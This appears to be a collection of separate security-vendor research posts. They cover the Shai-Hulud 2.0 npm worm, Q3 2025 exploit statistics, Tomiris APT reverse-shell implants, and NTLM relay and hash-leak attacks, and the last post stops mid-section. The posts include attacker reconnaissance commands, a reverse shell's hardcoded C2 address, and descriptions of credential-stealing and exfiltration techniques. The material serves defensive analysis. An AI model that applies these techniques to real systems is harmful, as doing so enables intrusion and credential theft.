In September, a new breed of malware distributed via compromised Node Package Manager (npm) packages made headlines. It was dubbed “Shai-Hulud”, and we published an in-depth analysis of it in another post. Recently, a new version was discovered.
Shai Hulud 2.0 is a type of two-stage worm-like malware that spreads by compromising npm tokens to republish trusted packages with a malicious payload. More than 800 npm packages have been infected by this version of the worm.
According to our telemetry, the victims of this campaign include individuals and organizations worldwide, with most infections observed in Russia, India, Vietnam, Brazil, China, Türkiye, and France.
Technical analysis
When a developer installs an infected npm package, the setup_bun.js script runs during the preinstall stage, as specified in the modified package.json file.
Bootstrap script
The initial-stage script setup_bun.js is left intentionally unobfuscated and well documented to masquerade as a harmless tool for installing the legitimate Bun JavaScript runtime. It checks common installation paths for Bun and, if the runtime is missing, installs it from an official source in a platform-specific manner. This seemingly routine behavior conceals its true purpose: preparing the execution environment for later stages of the malware.
The installed Bun runtime then executes the second-stage payload, bun_environment.js, a 10MB malware script obfuscated with an obfuscate.io-like tool. This script is responsible for the main malicious activity.
Stealing credentials
Shai Hulud 2.0 is built to harvest secrets from various environments. Upon execution, it immediately searches several sources for sensitive data, such as:
GitHub secrets: the malware searches environment variables and the GitHub CLI configuration for values starting with ghp_ or gho_. It also creates a malicious workflow yml in victim repositories, which is then used to obtain GitHub Actions secrets.
Cloud credentials: the malware searches for cloud credentials across AWS, Azure, and Google Cloud by querying cloud instance metadata services and using official SDKs to enumerate credentials from environment variables and local configuration files.
Local files: it downloads and runs the TruffleHog tool to aggressively scan the entire filesystem for credentials.
Then all the exfiltrated data is sent through the established communication channel, which we describe in more detail in the next section.
Data exfiltration through GitHub
To exfiltrate the stolen data, the malware sets up a communication channel via a public GitHub repository. For this purpose, it uses the victim’s GitHub access token if found in environment variables and the GitHub CLI configuration.
After that, the malware creates a repository with a randomly generated 18-character name and a marker in its description. This repository then serves as a data storage to which all stolen credentials and system information are uploaded.
If the token is not found, the script attempts to obtain a previously stolen token from another victim by searching through GitHub repositories for those containing the text, “Sha1-Hulud: The Second Coming.” in the description.
Worm spreading across packages
For subsequent self-replication via embedding into npm packages, the script scans .npmrc configuration files in the home directory and the current directory in an attempt to find an npm registry authorization token.
If this is successful, it validates the token by sending a probe request to the npm /-/whoami API endpoint, after which the script retrieves a list of up to 100 packages maintained by the victim.
For each package, it injects the malicious files setup_bun.js and bun_environment.js via bundleAssets and updates the package configuration by setting setup_bun.js as a pre-installation script and incrementing the package version. The modified package is then published to the npm registry.
Destructive responses to failure
If the malware fails to obtain a valid npm token and is also unable to get a valid GitHub token, making data exfiltration impossible, it triggers a destructive payload that wipes user files, primarily those in the home directory.
Our solutions detect the family described here as HEUR:Worm.Script.Shulud.gen.
Since September of this year, Kaspersky has blocked over 1700 Shai Hulud 2.0 attacks on user machines. Of these, 18.5% affected users in Russia, 10.7% occurred in India, and 9.7% in Brazil.
TOP 10 countries and territories affected by Shai Hulud 2.0 attacks (download)
We continue tracking this malicious activity and provide up-to-date information to our customers via the Kaspersky Open Source Software Threats Data Feed. The feed includes all packages affected by Shai-Hulud, as well as information on other open-source components that exhibit malicious behaviour, contain backdoors, or include undeclared capabilities.
In the third quarter, attackers continued to exploit security flaws in WinRAR, while the total number of registered vulnerabilities grew again. In this report, we examine statistics on published vulnerabilities and exploits, the most common security issues impacting Windows and Linux, and the vulnerabilities being leveraged in APT attacks that lead to the launch of widespread C2 frameworks. The report utilizes anonymized Kaspersky Security Network data, which was consensually provided by our users, as well as information from open sources.
Statistics on registered vulnerabilities
This section contains statistics on registered vulnerabilities. The data is taken from cve.org.
Let us consider the number of registered CVEs by month for the last five years up to and including the third quarter of 2025.
Total published vulnerabilities by month from 2021 through 2025 (download)
As can be seen from the chart, the monthly number of vulnerabilities published in the third quarter of 2025 remains above the figures recorded in previous years. The three-month total saw over 1000 more published vulnerabilities year over year. The end of the quarter sets a rising trend in the number of registered CVEs, and we anticipate this growth to continue into the fourth quarter. Still, the overall number of published vulnerabilities is likely to drop slightly relative to the September figure by year-end
A look at the monthly distribution of vulnerabilities rated as critical upon registration (CVSS > 8.9) suggests that this metric was marginally lower in the third quarter than the 2024 figure.
Total number of critical vulnerabilities published each month from 2021 to 2025 (download)
Exploitation statistics
This section contains exploitation statistics for Q3 2025. The data draws on open sources and our telemetry.
Windows and Linux vulnerability exploitation
In Q3 2025, as before, the most common exploits targeted vulnerable Microsoft Office products.
Most Windows exploits detected by Kaspersky solutions targeted the following vulnerabilities:
CVE-2018-0802: a remote code execution vulnerability in the Equation Editor component
CVE-2017-11882: another remote code execution vulnerability, also affecting Equation Editor
CVE-2017-0199: a vulnerability in Microsoft Office and WordPad that allows an attacker to assume control of the system
These vulnerabilities historically have been exploited by threat actors more frequently than others, as discussed in previous reports. In the third quarter, we also observed threat actors actively exploiting Directory Traversal vulnerabilities that arise during archive unpacking in WinRAR. While the originally published exploits for these vulnerabilities are not applicable in the wild, attackers have adapted them for their needs.
CVE-2023-38831: a vulnerability in WinRAR that involves improper handling of objects within archive contents We discussed this vulnerability in detail in a 2024 report.
CVE-2025-6218 (ZDI-CAN-27198): a vulnerability that enables an attacker to specify a relative path and extract files into an arbitrary directory. A malicious actor can extract the archive into a system application or startup directory to execute malicious code. For a more detailed analysis of the vulnerability, see our Q2 2025 report.
CVE-2025-8088: a zero-day vulnerability similar to CVE-2025-6128, discovered during an analysis of APT attacks The attackers used NTFS Streams to circumvent controls on the directory into which files were unpacked. We will take a closer look at this vulnerability below.
It should be pointed out that vulnerabilities discovered in 2025 are rapidly catching up in popularity to those found in 2023.
All the CVEs mentioned can be exploited to gain initial access to vulnerable systems. We recommend promptly installing updates for the relevant software.
Dynamics of the number of Windows users encountering exploits, Q1 2023 — Q3 2025. The number of users who encountered exploits in Q1 2023 is taken as 100% (download)
According to our telemetry, the number of Windows users who encountered exploits increased in the third quarter compared to the previous reporting period. However, this figure is lower than that of Q3 2024.
For Linux devices, exploits for the following OS kernel vulnerabilities were detected most frequently:
CVE-2022-0847, also known as Dirty Pipe: a vulnerability that allows privilege escalation and enables attackers to take control of running applications
CVE-2019-13272: a vulnerability caused by improper handling of privilege inheritance, which can be exploited to achieve privilege escalation
CVE-2021-22555: a heap overflow vulnerability in the Netfilter kernel subsystem. The widespread exploitation of this vulnerability is due to its use of popular memory modification techniques: manipulating “msg_msg” primitives, which leads to a Use-After-Free security flaw.
Dynamics of the number of Linux users encountering exploits, Q1 2023 — Q3 2025. The number of users who encountered exploits in Q1 2023 is taken as 100% (download)
A look at the number of users who encountered exploits suggests that it continues to grow, and in Q3 2025, it already exceeds the Q1 2023 figure by more than six times.
It is critically important to install security patches for the Linux operating system, as it is attracting more and more attention from threat actors each year – primarily due to the growing number of user devices running Linux.
Most common published exploits
In Q3 2025, exploits targeting operating system vulnerabilities continue to predominate over those targeting other software types that we track as part of our monitoring of public research, news, and PoCs. That said, the share of browser exploits significantly increased in the third quarter, matching the share of exploits in other software not part of the operating system.
Distribution of published exploits by platform, Q1 2025 (download)
Distribution of published exploits by platform, Q2 2025 (download)
Distribution of published exploits by platform, Q3 2025 (download)
It is noteworthy that no new public exploits for Microsoft Office products appeared in Q3 2025, just as none did in Q2. However, PoCs for vulnerabilities in Microsoft SharePoint were disclosed. Since these same vulnerabilities also affect OS components, we categorized them under operating system vulnerabilities.
Vulnerability exploitation in APT attacks
We analyzed data on vulnerabilities that were exploited in APT attacks during Q3 2025. The following rankings draw on our telemetry, research, and open-source data.
TOP 10 vulnerabilities exploited in APT attacks, Q3 2025 (download)
APT attacks in Q3 2025 were dominated by zero-day vulnerabilities, which were uncovered during investigations of isolated incidents. A large wave of exploitation followed their public disclosure. Judging by the list of software containing these vulnerabilities, we are witnessing the emergence of a new go-to toolkit for gaining initial access into infrastructure and executing code both on edge devices and within operating systems. It bears mentioning that long-standing vulnerabilities, such as CVE-2017-11882, allow for the use of various data formats and exploit obfuscation to bypass detection. By contrast, most new vulnerabilities require a specific input data format, which facilitates exploit detection and enables more precise tracking of their use in protected infrastructures. Nevertheless, the risk of exploitation remains quite high, so we strongly recommend applying updates already released by vendors.
C2 frameworks
In this section, we will look at the most popular C2 frameworks used by threat actors and analyze the vulnerabilities whose exploits interacted with C2 agents in APT attacks.
The chart below shows the frequency of known C2 framework usage in attacks on users during the third quarter of 2025, according to open sources.
Top 10 C2 frameworks used by APT groups to compromise user systems in Q3 2025 (download)
Metasploit, whose share increased compared to Q2, tops the list of the most prevalent C2 frameworks from the past quarter. It is followed by Sliver and Mythic. The Empire framework also reappeared on the list after being inactive in the previous reporting period. What stands out is that Adaptix C2, although fairly new, was almost immediately embraced by attackers in real-world scenarios. Analyzed sources and samples of malicious C2 agents revealed that the following vulnerabilities were used to launch them and subsequently move within the victim’s network:
CVE-2020-1472, also known as ZeroLogon, allows for compromising a vulnerable operating system and executing commands as a privileged user.
CVE-2021-34527, also known as PrintNightmare, exploits flaws in the Windows print spooler subsystem, also enabling remote access to a vulnerable OS and high-privilege command execution.
CVE-2025-6218 or CVE-2025-8088 are similar Directory Traversal vulnerabilities that allow extracting files from an archive to a predefined path without the archiving utility notifying the user. The first was discovered by researchers but subsequently weaponized by attackers. The second is a zero-day vulnerability.
Interesting vulnerabilities
This section highlights the most noteworthy vulnerabilities that were publicly disclosed in Q3 2025 and have a publicly available description.
ToolShell (CVE-2025-49704 and CVE-2025-49706, CVE-2025-53770 and CVE-2025-53771): insecure deserialization and an authentication bypass
ToolShell refers to a set of vulnerabilities in Microsoft SharePoint that allow attackers to bypass authentication and gain full control over the server.
CVE-2025-49704 involves insecure deserialization of untrusted data, enabling attackers to execute malicious code on a vulnerable server.
CVE-2025-49706 allows access to the server by bypassing authentication.
CVE-2025-53770 is a patch bypass for CVE-2025-49704.
CVE-2025-53771 is a patch bypass for CVE-2025-49706.
These vulnerabilities form one of threat actors’ combinations of choice, as they allow for compromising accessible SharePoint servers with just a few requests. Importantly, they were all patched back in July, which further underscores the importance of promptly installing critical patches. A detailed description of the ToolShell vulnerabilities can be found in our blog.
CVE-2025-8088: a directory traversal vulnerability in WinRAR
CVE-2025-8088 is very similar to CVE-2025-6218, which we discussed in our previous report. In both cases, attackers use relative paths to trick WinRAR into extracting archive contents into system directories. This version of the vulnerability differs only in that the attacker exploits Alternate Data Streams (ADS) and can use environment variables in the extraction path.
CVE-2025-41244: a privilege escalation vulnerability in VMware Aria Operations and VMware Tools
Details about this vulnerability were presented by researchers who claim it was used in real-world attacks in 2024.
At the core of the vulnerability lies the fact that an attacker can substitute the command used to launch the Service Discovery component of the VMware Aria tooling or the VMware Tools utility suite. This leads to the unprivileged attacker gaining unlimited privileges on the virtual machine. The vulnerability stems from an incorrect regular expression within the get-versions.sh script in the Service Discovery component, which is responsible for identifying the service version and runs every time a new command is passed.
Conclusion and advice
The number of recorded vulnerabilities continued to rise in Q3 2025, with some being almost immediately weaponized by attackers. The trend is likely to continue in the future.
The most common exploits for Windows are primarily used for initial system access. Furthermore, it is at this stage that APT groups are actively exploiting new vulnerabilities. To hinder attackers’ access to infrastructure, organizations should regularly audit systems for vulnerabilities and apply patches in a timely manner. These measures can be simplified and automated with Kaspersky Systems Management. Kaspersky Symphony can provide comprehensive and flexible protection against cyberattacks of any complexity.
All statistics in this report come from Kaspersky Security Network (KSN), a global cloud service that receives information from components in our security solutions voluntarily provided by Kaspersky users. Millions of Kaspersky users around the globe assist us in collecting information about malicious activity. The statistics in this report cover the period from November 2024 through October 2025. The report doesn’t cover mobile statistics, which we will share in our annual mobile malware report.
During the reporting period:
48% of Windows users and 29% of macOS users encountered cyberthreats
27% of all Kaspersky users encountered web threats, and 33% users were affected by on-device threats
The highest share of users affected by web threats was in CIS (34%), and local threats were most often detected in Africa (41%)
Kaspersky solutions prevented nearly 1,6 times more password stealer attacks than in the previous year
In APAC password stealer detections saw a 132% surge compared to the previous year
Kaspersky solutions detected 1,5 times more spyware attacks than in the previous year
To find more yearly statistics on cyberthreats view the full report.
While tracking the activities of the Tomiris threat actor, we identified new malicious operations that began in early 2025. These attacks targeted foreign ministries, intergovernmental organizations, and government entities, demonstrating a focus on high-value political and diplomatic infrastructure. In several cases, we traced the threat actor’s actions from initial infection to the deployment of post-exploitation frameworks.
These attacks highlight a notable shift in Tomiris’s tactics, namely the increased use of implants that leverage public services (e.g., Telegram and Discord) as command-and-control (C2) servers. This approach likely aims to blend malicious traffic with legitimate service activity to evade detection by security tools.
Most infections begin with the deployment of reverse shell tools written in various programming languages, including Go, Rust, C/C#/C++, and Python. Some of them then deliver an open-source C2 framework: Havoc or AdaptixC2.
This report in a nutshell:
New implants developed in multiple programming languages were discovered;
Some of the implants use Telegram and Discord to communicate with a C2;
Operators employed Havoc and AdaptixC2 frameworks in subsequent stages of the attack lifecycle.
The infection begins with a phishing email containing a malicious archive. The archive is often password-protected, and the password is typically included in the text of the email. Inside the archive is an executable file. In some cases, the executable’s icon is disguised as an office document icon, and the file name includes a double extension such as .doc<dozen_spaces>.exe. However, malicious executable files without icons or double extensions are also frequently encountered in archives. These files often have very long names that are not displayed in full when viewing the archive, so their extensions remain hidden from the user.
Example of a phishing email containing a malicious archive
Translation:
Subject: The Office of the Government of the Russian Federation on the issue of classification of goods sold in the territory of the Siberian Federal District Body:
Dear colleagues!
In preparation for the meeting of the Executive Office of the Government of the Russian Federation on the classification of projects implemented in the Siberian Federal District as having a significant impact on the
socioeconomic development of the Siberian District, we request your position on the projects listed in the attached file. The Executive Office of the Government of Russian Federation on the classification of
projects implemented in the Siberian Federal District. Password: min@2025
Example of an archive with a malicious executable
When the file is executed, the system becomes infected. However, different implants were often present under the same file names in the archives, and the attackers’ actions varied from case to case.
The implants
Tomiris C/C++ ReverseShell
Tomiris C/C++ ReverseShell infection schema
This implant is a reverse shell that waits for commands from the operator (in most cases that we observed, the infection was human-operated). After a quick environment check, the attacker typically issues a command to download another backdoor – AdaptixC2. AdaptixC2 is a modular framework for post-exploitation, with source code available on GitHub. Attackers use built-in OS utilities like bitsadmin, curl, PowerShell, and certutil to download AdaptixC2. The typical scenario for using the Tomiris C/C++ reverse shell is outlined below.
Environment reconnaissance. The attackers collect various system information, including information about the current user, network configuration, etc.
echo 4fUPU7tGOJBlT6D1wZTUk
whoami
ipconfig /all
systeminfo
hostname
net user /dom
dir
dir C:\users\[username]
Download of the next-stage implant. The attackers try to download AdaptixC2 from several URLs.
Verification of download success. Once the download is complete, the attackers check that AdaptixC2 is present in the target folder and has not been deleted by security solutions.
dir $temp
dir $public\libraries
Establishing persistence for the downloaded payload. The downloaded implant is added to the Run registry key.
This year, we observed three variants of the C/C++ reverse shell whose functionality ultimately provided access to a remote console. All three variants have minimal functionality – they neither replicate themselves nor persist in the system. In essence, if the running process is terminated before the operators download and add the next-stage implant to the registry, the infection ends immediately.
The first variant is likely based on the Tomiris Downloader source code discovered in 2021. This is evident from the use of the same function to hide the application window.
Code of window-hiding function in Tomiris C/C++ ReverseShell and Tomiris Downloader
Below are examples of the key routines for each of the detected variants.
Tomiris C/C++ ReverseShell main routine
Tomiris Rust Downloader
Tomiris Rust Downloader is a previously undocumented implant written in Rust. Although the file size is relatively large, its functionality is minimal.
Tomiris Rust Downloader infection schema
Upon execution, the Trojan first collects system information by running a series of console commands sequentially.
Then it searches for files and compiles a list of their paths. The Trojan is interested in files with the following extensions: .jpg, .jpeg, .png, .txt, .rtf, .pdf, .xlsx, and .docx. These files must be located on drives C:/, D:/, E:/, F:/, G:/, H:/, I:/, or J:/. At the same time, it ignores paths containing the following strings: “.wrangler”, “.git”, “node_modules”, “Program Files”, “Program Files (x86)”, “Windows”, “Program Data”, and “AppData”.
A multipart POST request is used to send the collected system information and the list of discovered file paths to Discord via the URL:
It is worth noting that only the paths to the discovered files are sent to Discord; the Trojan does not transmit the actual files.
The structure of the multipart request is shown below:
Contents of the Content-Disposition header
Description
form-data; name=”payload_json”
System information collected from the infected system via console commands and converted to JSON.
form-data; name=”file”; filename=”files.txt”
A list of files discovered on the drives.
form-data; name=”file2″; filename=”ipconfig.txt”
Results of executing console commands like “ipconfig /all”.
Example of “payload_json”
After sending the request, the Trojan creates two scripts, script.vbs and script.ps1, in the temporary directory. Before dropping script.ps1 to the disk, Rust Downloader creates a URL from hardcoded pieces and adds it to the script. It then executes script.vbs using the cscript utility, which in turn runs script.ps1 via PowerShell. The script.ps1 script runs in an infinite loop with a one-minute delay. It attempts to download a ZIP archive from the URL provided by the downloader, extract it to %TEMP%\rfolder, and execute all unpacked files with the .exe extension. The placeholder <PC_NAME> in script.ps1 is replaced with the name of the infected computer.
It’s worth noting that in at least one case, the downloaded archive contained an executable file associated with Havoc, another open-source post-exploitation framework.
Tomiris Python Discord ReverseShell
The Trojan is written in Python and compiled into an executable using PyInstaller. The main script is also obfuscated with PyArmor. We were able to remove the obfuscation and recover the original script code. The Trojan serves as the initial stage of infection and is primarily used for reconnaissance and downloading subsequent implants. We observed it downloading the AdaptixC2 framework and the Tomiris Python FileGrabber.
The Trojan is based on the “discord” Python package, which implements communication via Discord, and uses the messenger as the C2 channel. Its code contains a URL to communicate with the Discord C2 server and an authentication token. Functionally, the Trojan acts as a reverse shell, receiving text commands from the C2, executing them on the infected system, and sending the execution results back to the C2.
Python Discord ReverseShell
Tomiris Python FileGrabber
As mentioned earlier, this Trojan is installed in the system via the Tomiris Python Discord ReverseShell. The attackers do this by executing the following console command.
The Trojan is written in Python and compiled into an executable using PyInstaller. It collects files with the following extensions into a ZIP archive: .jpg, .png, .pdf, .txt, .docx, and .doc. The resulting archive is sent to the C2 server via an HTTP POST request. During the file collection process, the following folder names are ignored: “AppData”, “Program Files”, “Windows”, “Temp”, “System Volume Information”, “$RECYCLE.BIN”, and “bin”.
Python FileGrabber
Distopia backdoor
Distopia Backdoor infection schema
The backdoor is based entirely on the GitHub repository project “dystopia-c2” and is written in Python. The executable file was created using PyInstaller. The backdoor enables the execution of console commands on the infected system, the downloading and uploading of files, and the termination of processes. In one case, we were able to trace a command used to download another Trojan – Tomiris Python Telegram ReverseShell.
Distopia backdoor
Sequence of console commands executed by attackers on the infected system:
The Trojan is written in Python and compiled into an executable using PyInstaller. The main script is also obfuscated with PyArmor. We managed to remove the obfuscation and recover the original script code. The Trojan uses Telegram to communicate with the C2 server, with code containing an authentication token and a “chat_id” to connect to the bot and receive commands for execution. Functionally, it is a reverse shell, capable of receiving text commands from the C2, executing them on the infected system, and sending the execution results back to the C2.
Initially, we assumed this was an updated version of the Telemiris bot previously used by the group. However, after comparing the original scripts of both Trojans, we concluded that they are distinct malicious tools.
Python Telegram ReverseShell (to the right) and Telemiris (to the left)
Other implants used as first-stage infectors
Below, we list several implants that were also distributed in phishing archives. Unfortunately, we were unable to track further actions involving these implants, so we can only provide their descriptions.
Tomiris C# Telegram ReverseShell
Another reverse shell that uses Telegram to receive commands. This time, it is written in C# and operates using the following credentials:
One of the oldest implants used by malicious actors has undergone virtually no changes since it was first identified in 2022. It is capable of taking screenshots, executing console commands, and uploading files from the infected system to the C2. The current version of the Trojan lacks only the download command.
Tomiris Rust ReverseShell
This Trojan is a simple reverse shell written in the Rust programming language. Unlike other reverse shells used by attackers, it uses PowerShell as the shell rather than cmd.exe.
Strings used by main routine of Tomiris Rust ReverseShell
Tomiris Go ReverseShell
The Trojan is a simple reverse shell written in Go. We were able to restore the source code. It establishes a TCP connection to 62.113.114.209 on port 443, runs cmd.exe and redirects standard command line input and output to the established connection.
Restored code of Tomiris Go ReverseShell
Tomiris PowerShell Telegram Backdoor
The original executable is a simple packer written in C++. It extracts a Base64-encoded PowerShell script from itself and executes it using the following command line:
The extracted script is a backdoor written in PowerShell that uses Telegram to communicate with the C2 server. It has only two key commands:
/upload: Download a file from Telegram using a file_Id identifier provided as a parameter and save it to “C:\Users\Public\Libraries\” with the name specified in the parameter file_name.
/go: Execute a provided command in the console and return the results as a Telegram message.
The script uses the following credentials for communication:
Strings used by main routine of Tomiris PowerShell Telegram Backdoor
Tomiris C# ReverseShell
A simple reverse shell written in C#. It doesn’t support any additional commands beyond console commands.
Tomiris C# ReverseShell main routine
Other implants
During the investigation, we also discovered several reverse SOCKS proxy implants on the servers from which subsequent implants were downloaded. These samples were also found on infected systems. Unfortunately, we were unable to determine which implant was specifically used to download them. We believe these implants are likely used to proxy traffic from vulnerability scanners and enable lateral movement within the network.
Tomiris C++ ReverseSocks (based on GitHub Neosama/Reverse-SOCKS5)
The implant is a reverse SOCKS proxy written in C++, with code that is almost entirely copied from the GitHub project Neosama/Reverse-SOCKS5. Debugging messages from the original project have been removed, and functionality to hide the console window has been added.
Main routine of Tomiris C++ ReverseSocks
Tomiris Go ReverseSocks (based on GitHub Acebond/ReverseSocks5)
The Trojan is a reverse SOCKS proxy written in Golang, with code that is almost entirely copied from the GitHub project Acebond/ReverseSocks5. Debugging messages from the original project have been removed, and functionality to hide the console window has been added.
Difference between the restored main function of the Trojan code and the original code from the GitHub project
Victims
Over 50% of the spear-phishing emails and decoy files in this campaign used Russian names and contained Russian text, suggesting a primary focus on Russian-speaking users or entities. The remaining emails were tailored to users in Turkmenistan, Kyrgyzstan, Tajikistan, and Uzbekistan, and included content in their respective national languages.
Attribution
In our previous report, we described the JLORAT tool used by the Tomiris APT group. By analyzing numerous JLORAT samples, we were able to identify several distinct propagation patterns commonly employed by the attackers. These patterns include the use of long and highly specific filenames, as well as the distribution of these tools in password-protected archives with passwords in the format “xyz@2025” (for example, “min@2025” or “sib@2025”). These same patterns were also observed with reverse shells and other tools described in this article. Moreover, different malware samples were often distributed under the same file name, indicating their connection. Below is a brief list of overlaps among tools with similar file names:
Filename (for convenience, we used the asterisk character to substitute numerous space symbols before file extension)
Tool
аппарат правительства российской федерации по вопросу отнесения реализуемых на территории сибирского федерального округа*.exe
(translated: Federal Government Agency of the Russian Federation regarding the issue of designating objects located in the Siberian Federal District*.exe)
We also analyzed the group’s activities and found other tools associated with them that may have been stored on the same servers or used the same servers as a C2 infrastructure. We are highly confident that these tools all belong to the Tomiris group.
Conclusions
The Tomiris 2025 campaign leverages multi-language malware modules to enhance operational flexibility and evade detection by appearing less suspicious. The primary objective is to establish remote access to target systems and use them as a foothold to deploy additional tools, including AdaptixC2 and Havoc, for further exploitation and persistence.
The evolution in tactics underscores the threat actor’s focus on stealth, long-term persistence, and the strategic targeting of government and intergovernmental organizations. The use of public services for C2 communications and multi-language implants highlights the need for advanced detection strategies, such as behavioral analysis and network traffic inspection, to effectively identify and mitigate such threats.
Flip phones grew popular, Windows XP debuted on personal computers, Apple introduced the iPod, peer-to-peer file sharing via torrents was taking off, and MSN Messenger dominated online chat. That was the tech scene in 2001, the same year when Sir Dystic of Cult of the Dead Cow published SMBRelay, a proof-of-concept that brought NTLM relay attacks out of theory and into practice, demonstrating a powerful new class of authentication relay exploits.
Ever since that distant 2001, the weaknesses of the NTLM authentication protocol have been clearly exposed. In the years that followed, new vulnerabilities and increasingly sophisticated attack methods continued to shape the security landscape. Microsoft took up the challenge, introducing mitigations and gradually developing NTLM’s successor, Kerberos. Yet more than two decades later, NTLM remains embedded in modern operating systems, lingering across enterprise networks, legacy applications, and internal infrastructures that still rely on its outdated mechanisms for authentication.
Although Microsoft has announced its intention to retire NTLM, the protocol remains present, leaving an open door for attackers who keep exploiting both long-standing and newly discovered flaws.
In this blog post, we take a closer look at the growing number of NTLM-related vulnerabilities uncovered over the past year, as well as the cybercriminal campaigns that have actively weaponized them across different regions of the world.
How NTLM authentication works
NTLM (New Technology LAN Manager) is a suite of security protocols offered by Microsoft and intended to provide authentication, integrity, and confidentiality to users.
In terms of authentication, NTLM is a challenge-response-based protocol used in Windows environments to authenticate clients and servers. Such protocols depend on a shared secret, typically the client’s password, to verify identity. NTLM is integrated into several application protocols, including HTTP, MSSQL, SMB, and SMTP, where user authentication is required. It employs a three-way handshake between the client and server to complete the authentication process. In some instances, a fourth message is added to ensure data integrity.
The full authentication process appears as follows:
The client sends a NEGOTIATE_MESSAGE to advertise its capabilities.
The server responds with a CHALLENGE_MESSAGE to verify the client’s identity.
The client encrypts the challenge using its secret and responds with an AUTHENTICATE_MESSAGE that includes the encrypted challenge, the username, the hostname, and the domain name.
The server verifies the encrypted challenge using the client’s password hash and confirms its identity. The client is then authenticated and establishes a valid session with the server. Depending on the application layer protocol, an authentication confirmation (or failure) message may be sent by the server.
Importantly, the client’s secret never travels across the network during this process.
NTLM is dead — long live NTLM
Despite being a legacy protocol with well-documented weaknesses, NTLM continues to be used in Windows systems and hence actively exploited in modern threat campaigns. Microsoft has announced plans to phase out NTLM authentication entirely, with its deprecation slated to begin with Windows 11 24H2 and Windows Server 2025 (1, 2, 3), where NTLMv1 is removed completely, and NTLMv2 disabled by default in certain scenarios. Despite at least three major public notices since 2022 and increased documentation and migration guidance, the protocol persists, often due to compatibility requirements, legacy applications, or misconfigurations in hybrid infrastructures.
As recent disclosures show, attackers continue to find creative ways to leverage NTLM in relay and spoofing attacks, including new vulnerabilities. Moreover, they introduce alternative attack vectors inherent to the protocol, which will be further explored in the post, specifically in the context of automatic downloads and malware execution via WebDAV following NTLM authentication attempts.
Persistent threats in NTLM-based authentication
NTLM presents a broad threat landscape, with multiple attack vectors stemming from its inherent design limitations. These include credential forwarding, coercion-based attacks, hash interception, and various man-in-the-middle techniques, all of them exploiting the protocol’s lack of modern safeguards such as channel binding and mutual authentication. Prior to examining the current exploitation campaigns, it is essential to review the primary attack techniques involved.
Hash leakage
Hash leakage refers to the unintended exposure of NTLM authentication hashes, typically caused by crafted files, malicious network paths, or phishing techniques. This is a passive technique that doesn’t require any attacker actions on the target system. A common scenario involving this attack vector starts with a phishing attempt that includes (or links to) a file designed to exploit native Windows behaviors. These behaviors automatically initiate NTLM authentication toward resources controlled by the attacker. Leakage often occurs through minimal user interaction, such as previewing a file, clicking on a remote link, or accessing a shared network resource. Once attackers have the hashes, they can reuse them in a credential forwarding attack.
Coercion-based attacks
In coercion-based attacks, the attacker actively forces the target system to authenticate to an attacker-controlled service. No user interaction is needed for this type of attack. For example, tools like PetitPotam or PrinterBug are commonly used to trigger authentication attempts over protocols such as MS-EFSRPC or MS-RPRN. Once the victim system begins the NTLM handshake, the attacker can intercept the authentication hash or relay it to a separate target, effectively impersonating the victim on another system. The latter case is especially impactful, allowing immediate access to file shares, remote management interfaces, or even Active Directory Certificate Services, where attackers can request valid authentication certificates.
Credential forwarding
Credential forwarding refers to the unauthorized reuse of previously captured NTLM authentication tokens, typically hashes, to impersonate a user on a different system or service. In environments where NTLM authentication is still enabled, attackers can leverage previously obtained credentials (via hash leakage or coercion-based attacks) without cracking passwords. This is commonly executed through Pass-the-Hash (PtH) or token impersonation techniques. In networks where NTLM is still in use, especially in conjunction with misconfigured single sign-on (SSO) or inter-domain trust relationships, credential forwarding may provide extensive access across multiple systems.
This technique is often used to facilitate lateral movement and privilege escalation, particularly when high-privilege credentials are exposed. Tools like Mimikatz allow extraction and injection of NTLM hashes directly into memory, while Impacket’s wmiexec.py, PsExec.py, and secretsdump.py can be used to perform remote execution or credential extraction using forwarded hashes.
Man-in-the-Middle (MitM) attacks
An attacker positioned between a client and a server can intercept, relay, or manipulate authentication traffic to capture NTLM hashes or inject malicious payloads during the session negotiation. In environments where safeguards such as digital signing or channel binding tokens are missing, these attacks are not only possible but frequently easy to execute.
Among MitM attacks, NTLM relay remains the most enduring and impactful method, so much so that it has remained relevant for over two decades. Originally demonstrated in 2001 through the SMBRelay tool by Sir Dystic (member of Cult of the Dead Cow), NTLM relay continues to be actively used to compromise Active Directory environments in real-world scenarios. Commonly used tools include Responder, Impacket’s NTLMRelayX, and Inveigh. When NTLM relay occurs within the same machine from which the hash was obtained, it is also referred to as NTLM reflexion attack.
NTLM exploitation in 2025
Over the past year, multiple vulnerabilities have been identified in Windows environments where NTLM remains enabled implicitly. This section highlights the most relevant CVEs reported throughout the year, along with key attack vectors observed in real-world campaigns.
CVE-2024‑43451
CVE-2024‑43451 is a vulnerability in Microsoft Windows that enables the leakage of NTLMv2 password hashes with minimal or no user interaction, potentially resulting in credential compromise.
The vulnerability exists thanks to the continued presence of the MSHTML engine, a legacy component originally developed for Internet Explorer. Although Internet Explorer has been officially deprecated, MSHTML remains embedded in modern Windows systems for backward compatibility, particularly with applications and interfaces that still rely on its rendering or link-handling capabilities. This dependency allows .url files to silently invoke NTLM authentication processes through crafted links without necessarily being open. While directly opening the malicious .url file reliably triggers the exploit, the vulnerability may also be activated through alternative user actions such as right clicking, deleting, single-clicking, or just moving the file to a different folder.
Attackers can exploit this flaw by initiating NTLM authentication over SMB to a remote server they control (specifying a URL in UNC path format), thereby capturing the user’s hash. By obtaining the NTLMv2 hash, an attacker can execute a pass-the-hash attack (e.g. by using tools like WMIExec or PSExec) to gain network access by impersonating a valid user, without the need to know the user’s actual credentials.
A particular case of this vulnerability occurs when attackers use WebDAV servers, a set of extensions to the HTTP protocol, which enables collaboration on files hosted on web servers. In this case, a minimal interaction with the malicious file, such as a single click or a right click, triggers automatic connection to the server, file download, and execution. The attackers use this flaw to deliver malware or other payloads to the target system. They also may combine this with hash leaking, for example, by installing a malicious tool on the victim system and using the captured hashes to perform lateral movement through that tool.
The vulnerability was addressed by Microsoft in its November 2024 security updates. In patched environments, motion, deletion, right-clicking the crafted .url file, etc. won’t trigger a connection to a malicious server. However, when the user opens the exploit, it will still work.
After the disclosure, the number of attacks exploiting the vulnerability grew exponentially. By July this year, we had detected around 600 suspicious .url files that contain the necessary characteristics for the exploitation of the vulnerability and could represent a potential threat.
BlindEagle campaign delivering Remcos RAT via CVE-2024-43451
